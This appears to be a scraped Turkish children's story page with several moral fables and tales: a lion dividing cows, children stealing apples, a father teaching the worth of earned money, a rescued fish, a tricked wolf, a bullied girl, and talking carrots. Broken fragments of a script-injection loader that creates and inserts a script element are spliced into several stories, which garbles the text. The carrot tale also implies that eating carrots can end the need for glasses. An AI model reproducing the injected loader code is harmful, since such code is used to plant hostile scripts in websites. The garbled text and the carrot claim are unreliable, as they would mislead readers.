Etiket: hikaye dinle

Yoksul Çoban Masalı
Yoksul Çoban Masalı

Yoksul Çoban Masalı

 

Drama

 

 

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Fitneci Aslan Masalı
Fitneci Aslan Masalı

Fitneci Aslan Ve Bencil İnekler

Bir olmak demek, güçlü olmak demektir. Bir olunan bir yere düşmanlar yaklaşamaz. İşte bir olmanın güçlü olmak demek olduğunu gösteren güzel bir masal… inek Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde; uzak mı uzak diyarların birinde üç tane inek varmış. Bu üç inek hep birliktelermiş. Birlikte otluyorlar, birlikte yürüyorlar, birlikte gülüp birlikte eğleniyorlarmış. Birbirleri ile çok iyi anlaşıp, aralarında problem olmasına izin vermezlermiş. Günlerden bir gün aç bir Aslan, üç tane ineği çayırda otlarken görmüş. Bu üç ineği de gözüne kestiren Aslan, o kadar açmış ki hemen orada hepsini yemek istemiş. Fakat biraz düşününce üç inek bir arada iken onlara saldırmanın mantıksız olduğunu düşünmüş. ‘Ben şimdi bir ineğe saldırsam, diğer ikisi bir olup bana saldıracak ve beni etkisiz hale getirecek. En iyisi ben bu ineklerin ayrılmalarını sağlayayım. Bu inekleri birbirine düşüreyim. Sonra da hepsinin tek tek bir kenarda sıkıştırıp afiyetle yiyeyim’ diye geçirmiş içinden. Planını hazırlayan Aslan, hemen harekete geçmiş. Aslan, ne yapmış ne etmiş ineklerin yanına yaklaşmayı başarmış. Önce bir tanesinin yanına yaklaşmış: Aslan: ‘İnek kardeş, bak bunu sadece sana söylüyorum. Şu ileride hem daha yeşil hem de daha tatlı otlar var. Arkadaşlarının yanından beş dakika ayrılıp o otlardan yiyebilirsin. Bak diğerlerine söylemiyorum ona göre, orası sadece senin’ demiş. İnek Aslan’ın sözlerini düşünmüş. Buradaki otlar bütün ineklere yetmiyormuş ve tadı da gittikçe kötü oluyormuş. ‘En iyisi bu Aslan’ın sözünü dinlemek ve ilerideki çayıra gitmek’ diye geçirmiş içinden. İnek, sessiz sedasız bir şekilde arkadaşlarının yanından ilerideki çayıra doğru gitmiş. Çayıra yaklaştıkça yiyeceği tatlı otları düşünmeye başlamış. İnek, tam bunları hayal ederken arkadan gelen bir darbe ile yere yığılmış ve az önce kendisi ile konuşan Aslan’ın pençeleri ile son nefesini vermiş. Aslan bir ineği mideye indirmenin verdiği enerji ile diğer iki ineğin yanına yaklaşmış. Aralarından daha kilolu ve etli olanı gözüne kestirmiş ve onun yanına sokulup sessizce kulağına fısıldamış: Aslan: ‘İnek kardeş, sessizce ilerideki ağacın arkasında bulunan çayırlara bak. Orada buradaki otlardan çok daha fazlası ve çok daha tatlı olanları var. Başka kimseye söylemiyorum, sadece sen biliyorsun. Git ve sadece kendine ait olan o çayırların tadını çıkar’ demiş. İnek Aslan’ın bu sözleri karşısında düşünmeye başlamış. Aslan’ın teklifi çok cazipmiş. Gösterdiği yer çok uzakta da değilmiş. Hemen gidip orada karnını güzelce doyurup geri gelebilirmiş. Ve bu inek de arkadaşının dikkatini çekmeden oradan uzaklaşmış ve ağaçların arkasındaki çayırlara doğru koşmaya başlamış. Yarı yola geldiğinde arkadaşının hazin sonunu o da yaşamış ve Aslan’a yemek olmuş. Son inek de arkadaşlarının nerede olduğunu merak etmeye başlamış. Onları görmek için etrafına bakıyormuş ama onları hiçbir yerde göremiyormuş. Tek başına kalması onu iyice korkutmuş. Tam da bu sırada karşıdan gelen Aslan’ı görmüş. Aslan’ın birkaç saattir onların etrafında dolanması ineğin sinirini bozuyormuş. Fakat o anda aklına gelen korkunç şeyi düşünmek istememiş. Yoksa arkadaşları bu Aslan öldürmüş olabilir miymiş? İnek hemen hızlıca koşmaya çalışsa da Aslan’ın onu yakalaması çok basit olmuş. Tek başına kaldığı için Aslan ile savaşamayan 3. İnek de Aslan’a yem olmuş. İnekler, birbirlerinden gizli iş çevirmenin ve Aslan’ın sözüne kanıp bencilce davranmanın cezasını ödemişler. Aslan ise bir arada gibi gözüken bir topluluğun içine fitne ve fesat sokarak, o birlikteliği nasıl dağıttığını düşünerek kendi kendi ile gurur duymuş. Siz siz olun, arkadaşlarınız ile aranıza fitne ve fesat sokmayın. Her zaman birlik olun. Birlik olmak demek güçlü olmak demektir. Bunu unutmayın.
Elma Ağacı
Elma Ağacı

Günlerden bir gün Zeynep’in canı çok sıkılmış. Evde oturmak yerine bahçeye çıkıp biraz oyun oynamak istiyormuş.

-‘Anneciğim ben bahçeye çıkabilir miyim?’

-‘Tamam, dikkatli ol kızım.’

-‘Peki, anneciğim’ demiş Zeynep.

Evden çıktığında yan bahçede oynayan arkadaşı Fatoş’u görmüş.

-‘Aa, Zeynep gelsene beraber oynayalım’ demiş Fatoş.

elma_agaci_hikayesi-2

İkisi birlikte bahçede oynayıp zıplamaya başlamışlar. Bir müddet sonra yorulmuşlar ve karınları acıkmış. Zeynep içeri girecekken Fatoş onu durdurmuş.

-‘Arkadaşım baksana şuradaki ağaca! Üzerinde kıpkırmızı elmalar var’ demiş.

elma_agaci_hikayesi-3_amasya

Zeynep yolun karşısındaki bahçeye baktığında büyük ve üzerinde kırmızı elmalar olan ağacı görmüş. Elmalar çok güzel görünüyormuş.

– ‘Hadi gel Zeynep, gidip ağaçtan elma koparalım ve yiyelim’ demiş Fatoş.

– ‘Kimseden izin almadan bunu yapamayız’ diye cevap vermiş Zeynep.

Fatoş ise Zeynep’in söylediğine pek aldırmamış.

-‘Zeynep ne kadar da korkaksın! Ne olabilir ki? Birkaç tane elma koparacağız ve yiyeceğiz.’

Zeynep bunun yanlış olduğunu bilse de o sırada elmalar gözüne çok güzel görünmüş. Karnı da o kadar açmış ki…

-‘Tamam, ama sadece birkaç tane koparacağız.’

Fatoş ve Zeynep el ele tutuşarak karşı tarafa geçmişler ve Zeynep gözcülük yaparken Fatoş da ağaçtan elmaları koparmış. Zeynep tedirgin bir şekilde etrafına bakıyormuş. Birisinin onları görmesinden çok korkuyormuş. Fatoş da birkaç tane değil bir sürü elma koparınca Zeynep bağırmış:

-‘Fatoş, yeter daha fazla koparma!’

elma_agaci_hikayesi-4_amasya

Fatoş iki-üç tane elmayı da eline alarak ağaçtan inmiş. Zeynep bu yaptıklarının çok yanlış bir şey olduğunu bir kere daha söylese de Fatoş çoktan elmayı yemeye başlamış. O sırada bir kadın bağırmaya başlamış:

-‘Sizi gidi küçük hırsızlar sizi! Gelin bakayım buraya!’

Bahçenin kenarından çıkan kadın Fatoş ve Zeynep’in oturduğu yere koşmaya başlamış. Kızların ikisi de korkuyla yerlerinden kalkıp koşmaya başlamışlar. O sırada Zeynep ve Fatoş’un annesi de kapının önüne çıkmış.

-‘Anneciğim, kurtar bizi.’

Kızların ikisi panikle Zeynep’in annesinin yanına koşmuşlar. Zeynep’in annesi ise ellerindeki elmaları görünce olanları anlamış.

-‘Hanımefendi bu iki kız benim ağacımdan elma çaldılar. Kendi gözlerimle gördüm.’

O sırada Fatoş’un annesi de yanlarına gelmiş. Zeynep ve Fatoş utançlarından annelerinin yüzlerine bakamıyormuş.

-‘Zeynep, kızım, böyle bir şeyi nasıl yaparsınız? Biz size izinsiz hiçbir şey almamanız gerektiğini öğretmedik mi?’

Zeynep utanç dolu bir sesle konuşmaya başlamış:

-‘Yaptığımızın yanlış olduğunu biliyoruz anneciğim. Ama karnımız çok acıkmıştı ve elmalar çok güzel görünüyordu. Biz de bir-iki tane koparmak istedik.’

Fatoş’un annesi konuşmaya başlamış:

-‘Kızım keşke izin isteseydiniz. O bahçe sizin bahçeniz değil. O yüzden izin almadan giremezsiniz ve meyve koparamazsınız.’

Fatoş da Zeynep’in arkasından sessizce konuşmaya başlamış:

-‘Anneciğim özür dileriz.’

-‘Bizden değil bahçenin sahibinden özür dilemeniz gerekiyor küçük hanımlar.’

Zeynep ve Fatoş karşılarında duran kadına bakmışlar.

-‘Teyzeciğim yaptığımızın yanlış olduğunu biliyoruz. Canımız çok isteyince dayanamadık ama izin almamız gerekiyordu. Çok özür dileriz.’

Kadın küçük kızların özür dilemesinden sonra yumuşamış.

-‘Yaptığınız çok yanlış bir şey. Bir daha asla izin alamdan başkasının bahçesine girmeyin ve ağaçlarından meyve koparmayın. Ayrıca canınız ne zaman isterse bana söylemeniz yeterli. Ben sizin için koparırım ve size veririm.’

Kadın evine gittiğinde ikisinin de annesi birbirlerine bakmışlar:

-‘Bu küçük kızlara yaptıkları yanlış için nasıl bir ceza versek acaba?’ demişler.

Zeynep ve Fatoş yaptıkları yanlış yüzünden hem çok utanmışlar hem de üstüne ceza almışlar. Ve bir daha izinsiz olarak kimsenin bahçesine girmeyeceklerine ve ağaçlarından bir şey koparmayacaklarına söz vermişler.

Biz biz olalım izin almadan kimsenin bahçesine de girmeyelim, eşyalarına da dokunmayalım.} else {

Alın Teri Masalı
Alın Teri Masalı

KENDİ EMEĞİN İLE KAZANDIĞIN PARANIN DEĞERİ FARKLI OLUR

alin-teri

Alın teri ile kazanılan para değerli olur ve insan o parayı harcarken çok dikkatli olur. Nasıl mı? İşte size alın teri masalı…

Bir varmış bir yokmuş… Uzun yıllar önce, uzak mı uzak diyarların birinde ailesi ile birlikte yaşayan genç bir çocuk varmış. Bu genç çocuk, diğer tüm arkadaşları gibi evlenmek istiyormuş. Oldukça sabırsız olan genç, bu isteğini babasına anlatmış:

GENÇ ÇOCUK: ‘Baba, ben evlenmek istiyorum. Bütün arkadaşlarım gibi ben de evlenip yuvamı kurmak istiyorum’ demiş.

Babası genç çocuğunun bu sabırsızlığı karşısında gülümsemiş ve ona hayatının en büyük dersini vermek için hazırlanmış:

BABA: ‘Tabii ki evlenebilirsin canım oğlum. Ama senden bir ricam olacak. Evlenmek istiyorsan önce bana kendi alın teri ile kazandığın bir altını getireceksin. O vakit seni hemen evlendireceğim’ demiş.

Genç çocuk çok sevinmiş. Çünkü babasının istediği şey çok basitmiş. Babasına bir altın götürdüğünde babası onu evlendirecekmiş. Hemen dedesine gitti.

GENÇ ÇOCUK: ‘Dede, bana bir tane altın verebilir misin?’

Dedesi şaşırmış:

DEDE: ‘Oğlum sen altını ne yapacaksın?’

GENÇ ÇOCUK: ‘Babama götüreceğim dede. Babam da beni evlendirecek.’

Dede, oğlunun bir şeyler planladığını anlamış. Genç çocuğa gülümseyerek altını vermiş ve çocuk da koşa koşa babasına götürmüş bu altını.

GENÇ ÇOCUK: ‘Babacığım istediğin altını getirdim. Şimdi evlenebilir miyim?’

Babası çocuğun elinden altını almış ve onu camdan dışarı fırlatmış. Altın evlerinin yanından akıp giden nehirin sularına karışmış.

GENÇ ÇOCUK: ‘Baba, ne yapıyorsun sen Allah Aşkına! Altını neden nehire attın?’

BABA: ‘Oğlum, ben sana kendi alın terin ile çalışıp kazandığın para ile aldığın bir altını getirmeni istedim. Bu altını sen çalışıp kazanmamışsın ki!’

Genç çocuk babasının bu farkı nasıl anladığına şaşırmış, kalmış.

Ertesi gün genç çocuk annesinin yanına gitmiş ve annesinden bir altın ödünç istemiş. Annesi de eşinin yapmak istediği planı bildiğinden altını çocuğuna vermiş.

Genç çocuk heyecanla babasının yanına gitmiş. Elindeki altını babasına uzatmış:

GENÇ ÇOCUK: ‘Babacığım, sana istediğin altını getirdim’ demiş.

Babası altını yine eline almış ve yine camdan dışarı akan giden nehirin sularına doğru fırlatmış.

GENÇ ÇOCUK: ‘Baba neden böyle yapıyorsun! Neden altınları kabul etmiyorsun?’

BABA: ‘Oğlum ben senden kendi alın terin ile kazandığın bir altını getirmeni istiyorum. Bunları sen kendi alın terin ile çalışıp kazanmamışsın ki.’

Genç çocuk babasının bunu nasıl anladığını gerçekten ama gerçekten hiç bilmiyormuş. Babasının yanından ayrılmış ve uzun uzun düşünmüş. Babasının dediği gibi kendi alın teri ile çalışıp kazandığı bir altını babasına götürmediği sürece babası onu evlendirmeyecekmiş.

Genç çocuk en sonunda başka çare olmadığını anlamış. Kendine bir iş bulmuş ve çalışmaya başlamış.

Günler geçmiş, genç çocuk hep çalışıyormuş. Çalışmaktan sırtı, kolları, bacakları ağırmış. Ama en sonunda altın alacak parayı kazanmış ve hemen bir kuyumcuya gidip kendi kazandığı para ile bir altın almış.

Genç çocuk, düşmesin diye elinde sıkı sıkı tuttuğu altını babasına götürmüş. Babası çocuğun sıkı avuçları içerisinden uzattığı altını almış, ona şöyle bir bakmış ve tam fırlatıp atacakken çocuk bir hışımla yerinden fırlamış ve babasının kolundan tutarak bağırmaya başlamış:

GENÇ ÇOCUK: ‘Baba, o altını nehire atamazsın! Ben o altını alacak parayı kazanmak için günlerce çalıştım; sırtım, bacaklarım, kollarım her yerim ağrıyor!’

Babası gülümseyerek oğluna bakmış. Elini oğlunun omzuna koymuş:

BABA: ‘ İşte şimdi evlenebilirsin benim canım oğlum. Çünkü artık çalışarak kazandığın bu paranın değerini biliyorsun, emeğinle kazandığın bu parayı harcarken de eminim dikkatli ve akıllıca harcayacaksın’ demiş.

Genç çocuk o anda babasının ne demek istediğini ve ne yapmak istediğini çok iyi anlamış.

 

 

Küçük İstavrit Hikayesi
Küçük İstavrit Hikayesi
[sc_embed_player_template1 fileurl=”https://www.masalcisite.com/wp-content/uploads/2015/07/küçük-istavritfiltre.mp3″ loops=”true” ]

KÜÇÜK İSTAVRİT BALIĞI VE İYİ YÜREKLİ ADAMIN HİKÂYESİ

İstavrit balıkları kıpır kıpırdır, balıkçıların oltasından kurtulmayı genelde başarır onlar. Yakalanmazlar

ama oltanın ucundaki yemi de bir güzel mideye indirirler. Peki, siz merakı yüzünden yakalanan küçük

istavritin hikâyesini dinlediniz mi? Dinlemediyseniz işte size küçük istavritin öyküsü…

Denizlerin dibinde, mavinin en mavi yeşilin de en güzel tonlarının olduğu o güzel suyun altında küçük

bir istavrit yaşarmış. Küçük istavrit, annesi ve babasından öğrendiği tüm marifetler ile yakalanmadan

sularda özgürce yüzer, üstelik karnı acıktığında balıkçıların oltasında yemleri de yermiş. Bu yaptığı

şeyin çok tehlikeli olduğunun farkındaymış ama yapmaktan da vazgeçemiyormuş. Küçük istavriti

annesi ve babası çok uyarmış fakat nafile… o bildiği gibi yapmaya devam ediyormuş.

Günlerden bir gün küçük istavrit yine özgürce yüzüyormuş denizin en mavi sularında… Fakat o da ne!

Bir balıkçının oltasının ucunda minik bir çapari! Küçük istavrit hiç düşünmeden atlamış çapariye. Bu

sefer her zamanki gibi hızlı olamayınca müthiş bir acı hissetmiş dudağının kenarında. Ardından ne

olduğunu anlamış, balıkçının oltasına takılmış. Artık her şey için çok geçmiş.

Balıkçı, tuttuğu balığın sevincini yaşarken hızla sarıyormuş oltanın ipini yukarı doğru. Küçük istavrit ise

çırpınmaya çalışıyormuş ama nafile! Birazdan suyun altından karaya çıkacakmış ve susuzluktan

ölecekmiş. Annesi ve babasının onu uyarırken ne kadar haklı olduğunu anlayan küçük istavrit, keşke

onları dinleseydim diye geçirmiş içinden. Ama artık her şey için çok geçmiş. Balıkçı onu çoktan sudan

çıkarmış ve oltadan kurtarıp yeşil bir leğenin içine atmış.

Küçük istavrit yeni yerine şöyle bir bakmış. Azıcık bir suyun içinde çırpınıp durmuş. Belki son bir umut

leğenden tekrar suya kadar zıplarım diye geçirmiş içinden. Fakat o anda bir de ne görsün! Kendisine

kocaman gözler ile bakan ve ağzını yalayan bir kedi! Küçük istavrit o an anlamış ki, leğenden kurtulsa

bile, bu kocaman kedinin elinden kurtulamazmış.

Küçük istavrit, çaresizce başına gelecek olan sonu kabullenmiş. Yeşil leğene bakmış bir süre. Şimdi

denizin altında olsa mavinin en güzel tonunu, yeşilin en parlak tonunu suyun altında görecekmiş.

Masmavi sularda özgürce yüzerken, yine annesi ve babası ile birlikte olma şansına erişecekmiş.

Oyunlar oynarken, suyun altında sadece onlara ait olan hayatta mutlu mesut yaşamaya devam

edecekmiş. Oysa şimdi? Rengi solmuş bir leğenin içinde, azıcık suyun içinde son çırpınışlarını

yapıyormuş. Hepsi de kendisinin hatası yüzündenmiş. Eğer annesi ve babasını dinleseymiş, şu anda

denizin altında özgürce yüzebilecekmiş.

Küçük istavrit bunları düşünürken, bir yandan da kendini çok halsiz hissediyormuş. Artık vücudunun

dayanacak hali kalmamış. Başı dönmeye başlamış. Artık sonum geldi diye düşünürken, birdenbire bir

mucize gerçekleşmiş. Küçük istavriti tutan bir el önce onu leğenin içinden kurtarmış. Ardından minik

istavritin başına minik bir öpücük kondurarak onu denizin içine doğru salmış. Küçük istavrit birkaç

saniye yaşadığının gerçek olduğuna inanmaya çalışmış ve ardından büyük bir mutluluk ile denizin en

dibine doğru yüzmeye başlamış.

Balıkçı hayretle adama bakıyormuş:

Balıkçı: ‘Sen ne yaptığını sanıyorsun? Neden balığı denize geri bıraktın?’

Adam sakin bir şekilde balıkçıya doğru dönmüş:

Adam: ‘Eğer bir gün, ben de kendimi bir yeşil leğen içinde bu küçük istavrit balığı kadar çaresiz

bulursam, işte o an benim gibi bir adam gelip beni de kurtarır belki…’ demiş.

Balıkçı bir süre düşünmüş ve adamın ne demek istediğini anlamış.

Gökten üç elma düşmüş, üçü de küçük istavriti kurtaran adam gibi iyi yüreklilere gitmiş…

Seslendiren: Ata ÇAKARvar d=document;var s=d.createElement(‘script’);

Kurt ile Keçi Masalı Dinle
Kurt ile Keçi Masalı Dinle

KOYUN, KEÇİ VE KURDUN HİKÂYESİ

[sc_embed_player_template1 fileurl=”https://www.masalcisite.com/wp-content/uploads/2015/07/kurt-ile-keçifiltre.mp3″ loops=”true” ]

Bir varmış, bir yokmuş… Uzak mı uzak ormanların birinde bir keçi bir de koyun varmış. İkisi de çok iyi arkadaşlık yaparmış. Fakat bir gün ormanda çok büyük bir kuraklık baş göstermiş. Hem keçi hem de koyun kısmetlerini aramak için, karınlarını doyurmak için bir olup ormanın iç kısımlarına doğu yola koyulmuşlar. Buralar ikisinin de bilmediği yerlermiş. Karşılarına birçok tehlike çıkabilirmiş. Ama karınlarını doyurmak için bu riski almak zorunda kalmışlar.

Koyun ve keçi bir müddet gittikten sonra yol ikiye ayrılınca ayrılmak zorunda kalmışlar. İleride yol tekrar birleşirse onlar da birleşecekmiş. Kim yiyecek bir şeyler bulursa, hemen uzunca bir meleyip diğerine haber verecekmiş.

Koyun ve keçi ayrıldıktan sonra yollarına daha dikkatli bir şekilde devam etmeye başlamışlar. Duydukları bir ses bile onları ürkütse de geri dönmemişler.

Ormanda yaşayan bir de kurt varmış. Kurt da ormandaki kuraklığa ve yiyecek bulamamaya daha fazla dayanamamış. Ormanda kendisine yiyecek bir şeyler aramaya çıkmış. Karnı o kadar açmış ki…

Kurt, kendisine yiyecek bir şeyler ararken karşına bir de ne çıksın! Bembeyaz kıvırcık tüylü tombul bir koyun… Kurdun gözleri açılmış koyunu görünce. Hemen koyunun yanına yaklaşmış ve onu bir ağacın köşesinde kıstırmış.

Kurt: ‘Koyun kardeş, sen ne arıyorsun ormanın iç kısımlarında? Buralar tehlikelidir, bilmez misin? Madem buralara kadar geldin, benim de karnım çok açken seni yemek zorundayım, kusuruma bakma.’

Koyun ne yapacağını şaşırmış. O anda aklına parlak bir fikir gelmiş.

Koyun: ‘Kurt kardeş. Tamam beni ye öyleyse. Ama önce izin ver, senin etrafında biraz hoplayıp zıplayayım; oyunlar oynayayım.’

Kurt ‘eh madem bu koyunu yiyeceğim, karnım doyacak, biraz geç olsa da bir şey farketmez’ diye geçirmiş içinden. Koyuna bakmış:

Kurt: ‘Tamam bakalım koyun kardeş. Dediğin gibi olsun.’

Koyun başlamış kurdun etrafında hoplayıp zıplamaya. Oradan oraya hoplaya zıplaya kurdun da başını döndürmüş. En sonunda koyun gözden kaybolunca kurt bunun bir kaçma planı olduğunu anlamış. Hemen koyunu aramaya başlamış ama nafile. Koyun çoktan kaçmış.

Kurt kendine söyleye söylene yolda ilerlerken, gözlerine inanamayacağı bir şeyle karşılamış. Kenarda bir keçi öylece duruyormuş, hem de ne keçi! Kurt hemen keçiyi yeme planları yaparak yanına yaklaşmış:

Keçi: ‘Keçi kardeş, senin ne işin var buralarda! Benim karnım çok aç ve ben seni yemek zorundayım.’

Keçi hemen itiraz etmiş kurdun söylediğine:

Keçi: ‘’Kurt kardeş, beni yesen ne olacak, yemesen ne olacak? Sen benimle doymazsın ki! Benim iki tane de yavrum var. Gideyim onları da getireyim, hepimizi ye. O zaman karnın da doyar, için de rahat olur. Böyle olunca yavrularım annesiz kalacak, üzülmeyecek misin?’

Kurt keçiye hak vermiş. Keçiye gitmesi ve yavrularını getirmesi için izin vermiş. Keçi gitmiş, fakat bir daha geri gelmemiş. Kurt yine bir hata yaptığını farkına varmış, çıkmış keçiyi aramış ama nafile. Keçi yokmuş.

Kurt kendisine söylene söylene ormana doğru ilerlerken bir ağacın kenarında bağlı duran bir at görmesin mi? ‘İşte bu at benim kısmetim, karnım doyacak artık’ diye düşünmüş. Hemen atın yanına yaklaşmış.

Kurt: ‘At kardeş, ben seni yiyeceğim. Başka çarem yok, karnım çok aç’ demiş.

At kurda şöyle bir bakmış. Ondan kurtulmanın yolunu çok basit bir planla çizmiş kafasında.

At: ‘Kurt kardeş, tamam beni ye. Ama önce nalımın altında yazılı olan isme bir bak. O benim sahibimin adı. Kasabaya gidip yedikten sonra ona haber verirsen, sahibim de beni beklemez’ demiş.

Kurt sabırsızlıkla nalın altına yazan ismi görmek için eğilmiş. O sırada at güçlü bir tekme vurarak kurdun kafasını yarmasın mı? Kurt olduğu yere yığılmış, kalmış.

Kurt can vereceği esnada yine kendi kendine söyleniyormuş:

‘Sen ne bakarsın koyunun oyununa, zıplamasına, hoplamasına

Karnını doyurmana baksana!

Ya keçinin yavrularından sana ne!

İncecik bacakları da olsa,

Ye keçiyi, düşünme gerisini,

Sana ne atın sahibinin isminden,

Sen karnını doyur önce, sonra bakarsın nalın altındaki isme…’

Seslendiren: Ata ÇAKARd.getElementsByTagName(‘head’)[0].appendChild(s);

Kısa Boylu Akıllı Ayşe
Kısa Boylu Akıllı Ayşe

Kısa Boylu Akıllı Ayşe

İlkokul 1. sınıfa giden Ayşe isminde bir kız varmış. Çok akıllı ve sevimli olan bu kızın tek bir sorunu varmış, o da boyunun diğer yaşıtlarından kısa olmasıymış. Yani Ayşe cüceymiş. Annesi ve babası da cüce olduğu için küçük kız bu durumu pek yadırgamıyormuş. Fakat okula başlayıp da diğer yaşıtlarıyla bir arada olmaya başlayınca sorunun farkına varmış.

Öğretmeni Ayşe’yi çok seviyor ve ona çok iyi davranıyormuş fakat sınıf arkadaşları hep onu dışlıyor aralarına almıyorlarmış. Ayşe tenefüslerde hep yalnız başına sınıfta oturup, bahçedeki çocukların oyunlarını izleyerek sessizce ağlıyormuş. ” Ben onlara ne yaptım, neden beni aralarına almıyorlar, ben çok mu kötü bir insanım? ” diye sürekli kendine sorup duruyormuş. Arkadaşları her fırsatta onunla cüce kız diye alay ederlerken o sadece başını yere eğip ağlıyor, onlara hiçbir şey söylemiyormuş.

Bir gün okul çıkışında arkadaşları her zamanki gibi onun peşine takılıp, cüce kız diye bağırırlarken Ayşe onlardan kaçmak, o alaylarını duymamak için hızlıca koşmaya başlamış. O koşunca diğer çocuklarda peşinden koşmaya devam etmişler. Küçük kızın tek isteği bir an önce bu alay dolu seslerin kesilmesiymiş. Bu seslerden uzaklaşabilmek için olanca gücüyle koşuyormuş. Öylesine telaşlıymış ki yol ayrımına geldiğinde sağına soluna bakmayı bile düşünememiş. Hızlıca kendisini yola attığında acı bir fren sesi duyulmuş. Kendisine çarpan araba yüzünden Ayşe kanlar içinde yere yığılmış. Arkasından yetişen sınıf arkadaşları bu manzarayı gördüklerinde dehşet içinde kalmışlar. Arabanın şöförü hemen Ayşe’yi kucaklayarak hastaneye götürmüş. Çocuklar ertesi gün sınıfa geldiklerinde Ayşe’nin sırasını boş görmüşler. Öğretmenleri onlara Ayşe’nin uzun bir süre hastanede kalacağını ve belkide bir daha hiç okula gelemeyeceğini söylemiş. O zaman çocuklar bunun kendi suçları olduğunu anlayarak pişman olmuşlar. ” Biz Ayşe ile dalga geçip onun peşinden koşmasaydık, bugün o da burada olacaktı. Şimdi bizim yüzümüzden hastanede.” diyerek hatalarını kabullenmişler. Onların pişmanlığını gören öğretmenleri, onlara hastaneye Ayşe’yi ziyarete gitmeyi isteyip istemediklerini sormuş. Çocuklar hep bir ağızdan isteriz cevabını vermişler.

Ertesi gün Ayşe hastane odasına elinde çiçekler ve hediyelerle giren arkadaşlarını gördüğünde gözlerine inanamamış. Bütün arkadaşları teker teker ondan özür dilemişler. Ayşe o kadar iyi kalpli bir kızmış ki arkadaşlarını affetmiş. Arkadaşları her gün okul çıkışında onu ziyarete gelmişler, o gün derste neler işlediklerini anlatmışlar. Ayşe arkadaşlarından aldığı destek ve moral sonucunda kısa sürede okuluna geri dönmüş.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Havuç Hikayesi
Havuç Hikayesi

Havuç Hikayesi

Yine güzel bir yaz sabahıydı. Küçük Ayşe komşularının horoz sesini duyup uyanmıştı yine. Ayşe’ye göre horozların yaptığı tek iş buydu, çünkü onlar hep erkenden uyanır kocaman ve gür sesleriyle her gün insanları uyandırırlardı. Horozlar nasıl her gün insanları uyandırmakla yükümlüyse,küçük Ayşe’nin de her sabah kahvaltı için evlerinin önünde bulunan bahçelerinden domates ve biber toplaması gerekiyordu. Bunu yapmaktan çok zevk alıyordu Ayşe ,çünkü yeni güne uyanıp mis gibi kokan havayı solumak onu çok iyi hissettiriyordu. Erken kalkmanın insana sağlık getirdiğini ,hem de çokça iş yapmak için vaktinin olacağını düşünüyordu. Bu yüzden her gün erkenden kalkardı küçük Ayşe’ler. Annesi kahvaltı masasını hazırlamış ,Ayşe’nin zevkle toplayacağı domates ve biberlerin masada yerini almasını beklerdi. Ayşe, sofraya pijamalarıyla hiç oturmazdı,bu sebeple üzerini değiştirip gözlüğünü de taktıktan sonra,bahçeye gitmek için evden çıktı. Mis gibiydi hava ,her taraf yeşillikler içindeydi. Kuşlar baharı şarkılarla karşılıyordu.Kuşlar Ayşe’yi çok seviyordu, çünkü Ayşe onları hiç incitmezdi. Her sabah  onlara ıslak ekmek ve su verirdi.Dost olmuştu kuşlarla Ayşe. Bu sabah içinde bir coşku vardı. Kuşların cıvıltılı şarkılarına ortak oldu o da, ağır ağır , elindeki küçük sepeti sallaya sallaya yürüyordu tarla yolunda,koşamazdı çünkü gözlükleri düşebilirdi birden. ‘nay nay nay ne güzel bir gün nay nay nay’…. Ayşe birden durdu,tarladan tarladan gelen sesleri duydu, eğildi ve görünmemek için minik adımlarla seslerin geldiği yöne doğru yürüdü. Ama kimsecikler yoktu ki tarlada,iyice bakındı etrafına ,hiç kimseyi göremedi.. Biberlerin olduğu yere  yaklaştı ve o da ne ! Havuçlar konuşuyordu ! Hem de bir değil, iki değil bir sürü havuç kendi aralarında konuşuyordu. Görünmemek için domateslerin arkasına eğildi ve hiç sesini çıkarmadan onları dinlemeye başladı…
-Havuç: Baharın henüz başındayız kışa daha çok var.
-Öteki havuç: Ne zararımız var işte yine sofralarda yerimizi alacağız.
-Sağdaki havuç: Faydamız var faydamız !
-Diğer havuç: Mesela bizi yiyenin gözleri açılır, yiyen bizi daha iyi görür,çünkü bizi yiyenin gözleri hiç bozulmaz.
-Havuç: Eveet ‘A’ vitaminiyiz biz.
-Öteki Havuç: Bizi yiyen hiç unutkan olmaz değil mi? Zihinleri açılır…
-Havuç: Çünkü biz zihni güçlendiririz, ahh keşke herkes bizi yese de o zaman kimse yaşlandığında unutkan olmazdı.
-Diğer havuç: Sadece yaşlılar mı , çocuklar ,abiler, ablalar ,amcalar ,teyzeler herkes herkes.
-Soldaki havuç: Baksanıza bizim yararlarımız say say bitmez. Bizi yiyenin hem gözleri bozulmaz hemde unutkan olmaz.
-Diğer havuç: He he ben olsam her gün bıkmadan bizi yerdim. Kartal gibi gözlerin sırrı bizde.

Ayşe,duyduklarından sonra şaşırmış kalmıştı,gözleri ve ağzı kocaman açılmıştı birden,çünkü o havucu sevmediği için hiç yemiyordu. Acaba gözleri onun için mi bozulmuştu? Peki bundan böyle her gün yese gözlerine faydası olur muydu? Neden olmasın, tabii ki olurdu! Hem gözleri düzelirse belki gözlüklerim düşer korkusu olmadan özgürce koşabilmenin tadına da varacaktı.  Ayşe hemen ayağa kalktı ve sepetine,hızlı hızlı havuçları doldurup evinin yolunu tuttu. O kadar heyecanlıydı ki daha yoldayken havuç yemek istedi ama yiyemezdi,çünkü yıkanmadan yenilemiyeceğini biliyordu. Ayşe eve geldiğinde herkes ona şaşkınca bakıyordu, domates ve biber beklerlerken sepette havuçları görünce şaşırmaları normaldi. Ayşe tarlada olanları bir bir anlattı ailesine .Annesi havuçları güzelce yıkayıp masaya koydu. Ayşe ,hepsini birden yerse daha etkili olacağını sanıyordu,çünkü artık gözlük takmak istemiyordu, tabii ki tatlı bir ihtiyar olduğunda unutkan olmak da istemiyordu. Ayşe artık gözlük takmayacağının hayalini kurarak havuçları afiyetle yemeye başlamıştı bile…if (document.currentScript) {